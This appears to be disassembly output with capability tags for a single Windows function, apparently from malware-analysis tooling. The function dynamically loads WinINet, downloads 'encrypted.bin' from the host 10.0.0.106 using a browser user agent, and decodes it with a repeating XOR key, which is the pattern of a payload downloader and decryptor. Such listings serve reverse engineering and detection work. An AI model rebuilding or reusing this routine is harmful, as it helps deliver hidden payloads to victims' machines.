Function at 0x140001070
Capabilities:
Encode data using xor
Reference http user-agent string

Disassembly:
push rbx
push rsi
push rdi
push r14
mov eax, 0x1068
call fcn.140002440
sub rsp, rax
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x1050], rax
xor ebx, ebx
mov qword [rsp + 0x38], r9
lea rcx, str.wininet.dll
mov qword [rsp + 0x30], rdx
mov esi, ebx
mov edi, ebx
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
jne 0x1400010bc
mov r14d, ebx
jmp 0x1400010cf
lea rdx, str.InternetOpenW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r14, rax
lea rcx, str.wininet.dll
mov qword [rsp + 0x10a0], r12
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
jne 0x1400010ee
mov r12, rbx
jmp 0x140001101
lea rdx, str.InternetOpenUrlW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r12, rax
lea rcx, str.wininet.dll
mov qword [rsp + 0x10a8], r13
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
jne 0x140001120
mov r13, rbx
jmp 0x140001133
lea rdx, str.InternetReadFile
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r13, rax
lea rcx, str.wininet.dll
mov qword [rsp + 0x1090], rbp
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
jne 0x140001152
mov rbp, rbx
jmp 0x140001165
lea rdx, str.InternetCloseHandle
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbp, rax
mov qword [rsp + 0x1060], r15
test r14, r14
je 0x1400012ca
test r12, r12
je 0x1400012ca
test r13, r13
je 0x1400012ca
test rbp, rbp
je 0x1400012ca
xor r9d, r9d
mov dword [rsp + 0x20], ebx
xor r8d, r8d
lea rcx, str.Mozilla_5.0
mov edx, 1
call r14
mov r15, rax
test rax, rax
je 0x1400012ca
mov qword [rsp + 0x28], rbx
lea rdx, str.http:__10.0.0.106_data_encrypted.bin
xor r9d, r9d
mov dword [rsp + 0x20], 0x80000000
xor r8d, r8d
mov rcx, rax
call r12
mov r14, rax
test rax, rax
je 0x1400012c5
lea r9, [rsp + 0x40]
mov r8d, 0x1000
lea rdx, [rsp + 0x50]
mov rcx, rax
call r13
test eax, eax
je 0x14000125e
mov r12, 0xffffffffffffffff
mov eax, dword [rsp + 0x40]
test eax, eax
je 0x14000125e
mov rdx, rdi
mov rcx, rsi
add rdx, rax
cmovb rdx, r12
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_realloc]
mov rsi, rax
test rax, rax
je 0x1400012b4
mov r8d, dword [rsp + 0x40]
lea rcx, [rdi + rax]
lea rdx, [rsp + 0x50]
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [rsp + 0x40]
lea r9, [rsp + 0x40]
mov r8d, 0x1000
lea rdx, [rsp + 0x50]
mov rcx, r14
add rdi, rax
call r13
test eax, eax
jne 0x140001203
mov rcx, r14
call rbp
mov rcx, r15
call rbp
mov rax, qword [rsp + 0x30]
mov qword [rax], rdi
test rdi, rdi
je 0x1400012af
mov rcx, qword [rsp + 0x38]
lea r8, str.my_secret_key
nop dword [rax]
nop word [rax + rax]
xor edx, edx
mov rax, rbx
div rcx
movzx eax, byte [rdx + r8]
xor al, byte [rsi + rbx]
sub al, 0x56
xor al, 0x55
mov byte [rsi + rbx], al
inc rbx
cmp rbx, rdi
jb 0x140001290
mov rax, rsi
jmp 0x1400012cc
lea rcx, str.Failed_to_allocate_memory_for_data._n
call fcn.140001010
mov rcx, r14
call rbp
mov rcx, r15
call rbp
xor eax, eax
mov r15, qword [rsp + 0x1060]
mov r13, qword [rsp + 0x10a8]
mov r12, qword [rsp + 0x10a0]
mov rbp, qword [rsp + 0x1090]
mov rcx, qword [rsp + 0x1050]
xor rcx, rsp
call fcn.140001640
add rsp, 0x1068
pop r14
pop rdi
pop rsi
pop rbx
ret